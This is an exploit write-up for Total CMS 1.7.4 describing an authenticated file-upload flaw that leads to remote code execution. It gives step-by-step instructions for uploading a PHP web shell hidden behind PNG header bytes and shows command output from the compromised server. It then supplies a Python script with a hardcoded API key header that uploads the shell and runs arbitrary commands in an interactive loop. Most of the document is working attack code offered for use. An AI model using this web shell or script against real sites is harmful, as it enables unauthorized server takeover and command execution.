Total CMS 1.7.4 Shell Upload

# Exploit Title: Total CMS 1.7.4 - Remote Code Execution (RCE) on File Upload (Authenticated) 
# Date: 03/06/2023
# Exploit Author: tmrswrr
# Version: 1.7.4
# Vendor home page : https://www.totalcms.co/
# Tested Url : https://www.totalcms.co/demo/soccer/
#PLatform : MACOSX

1) Go to this page and click edit page button
https://localhost/demo/soccer/
2)After go down and will you see downloads area 
3)Add in this area shell.php file


?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"  ?>
IEND

4) After open this file and write commands

https://localhosts/cms-data/depot/cmssoccerdepot/shell.php?cmd=id
Result :

?PNG ...

uid=996(caddy) gid=998(caddy) groups=998(caddy),33(www-data)

IEND 

Exploit: 

import requests

url = input("Enter the URL: ")
urll = url + "/rw_common/plugins/stacks/total-cms/totalapi.php"

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'application/json',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Cache-Control': 'no-cache',
    'X-Requested-With': 'XMLHttpRequest',
    'Total-Key': '3c79a3226d86c825bc0c4cb0cca05b17',
    'Content-Type': 'multipart/form-data; boundary=---------------------------17104855723143716151436432930',
    'Origin': urll,
    'Dnt': '1',
    'Referer': f'{urll}/demo/soccer/admin/',
    'Sec-Fetch-Dest': 'empty',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Site': 'same-origin',
    'Te': 'trailers',
    'Connection': 'close'
}

data = '''
-----------------------------17104855723143716151436432930rn
Content-Disposition: form-data; name="slug"rn
rn
cmssoccerdepotrn
-----------------------------17104855723143716151436432930rn
Content-Disposition: form-data; name="type"rn
rn
depotrn
-----------------------------17104855723143716151436432930rn
Content-Disposition: form-data; name="file"; filename="hey.php"rn
Content-Type: application/x-phprn
rn
?PNG
...
<?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>"  ?>
IENDrn
rn
-----------------------------17104855723143716151436432930--'''

while True:
    command = input("WRITE YOUR COMMAND ('exit' to quit): ")

    if command.lower() == "exit":
        break

    response = requests.post(url, headers=headers, data=data)

    if response.status_code == 200:
        shell_path = f'/cms-data/depot/cmssoccerdepot/hey.php?cmd={command}'
        shell_url = url + shell_path
        print(shell_url)
        shell_response = requests.get(shell_url)
        print(shell_response.text)
    else:
        print('Failed to execute the request.')